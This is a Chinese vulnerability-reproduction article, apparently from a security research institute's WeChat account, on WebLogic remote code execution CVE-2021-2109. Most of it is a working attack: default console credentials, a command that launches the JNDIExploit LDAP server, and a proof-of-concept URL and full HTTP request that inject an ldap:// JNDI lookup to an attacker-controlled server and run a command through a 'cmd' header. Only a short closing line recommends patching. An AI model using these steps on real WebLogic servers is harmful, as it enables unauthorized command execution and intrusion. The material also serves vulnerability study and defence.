WebLogic远程代码执行（CVE-2021-2109）复现

影响版本

WeblogicServer

10.3.6.0.0，

12.1.3.0.0，

12.2.1.3.0，

12.2.1.4.0，

14.1.1.0.0

其他漏洞影响的组件可详细参考官方公告

漏洞复现

访问console登陆页面

http://192.168.2.7:7001/console/login/LoginForm.jsp

 

User: weblogic
Pass: welcome1

登陆

 

启动LDAP

下载地址：

https://github.com/feihong-cs/JNDIExploit/releases/tag/v.1.11

启动命令

java -jar JNDIExploit-v1.11.jar -ihttp://192.168.2.7/

 

POC

/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.2;7:1389/Basic/WeblogicEcho;AdminServer%22)

cmd: 执行的命令

GET/console/consolejndi.portal?_pageLabel=JNDIBindingPageGeneral&_nfpb=true&JNDIBindingPortlethandle=com.bea.console.handles.JndiBindingHandle(%22ldap://192.168.2;7:1389/Basic/WeblogicEcho;AdminServer%22)HTTP/1.1 Host: 192.168.2.7:7001 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X10.16; rv:84.0) Gecko/20100101 Firefox/84.0 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language:zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close cmd: id Cookie:ADMINCONSOLESESSION=heYqQ2eUftBPoL7QV1UkuV_OIGBCFx-EF-gwXjcfSZUPtbw-p-YM!144315005 Upgrade-Insecure-Requests: 1

成功命令执行

总结建议

weblogic总是频频曝出命令执行，建议用户使用时持续关注，更新到最新版本，得以解决版本漏洞问题。

Reference

https://xz.aliyun.com/t/9049

关于山石网科安全技术研究院

    山石安研院是山石网科的信息安全智库部门，主要负责反APT研究、出战及承办全球攻防赛事、高端攻防技术培训、全球中英文安全预警分析发布、各类软硬件漏洞挖掘和利用研究、承接国家网络安全相关课题、不定期发布年度或半年度的各类技术报告及公司整体攻防能力展现。技术方向包括移动安全、虚拟化安全、工控安全、物联安全、区块链安全、协议安全、源码安全、反APT及反窃密。
    为多省公安厅提供技术支撑工作，为上合峰会、财富论坛、金砖五国等多次重大活动提供网络安保支撑工作。在多次攻防赛事中连获佳绩，网安中国行第一名，连续两届红帽杯冠军、网鼎杯线上第一名，在补天杯、极棒杯、全国多地的护网演习等也都获得优秀的成绩，每年获得大量的CNVD、CNNVD、CICSVD、CVE证书、编号和致谢。如需帮助请咨询 [email protected]

本文始发于微信公众号（山石网科安全技术研究院）：WebLogic远程代码执行（CVE-2021-2109）复现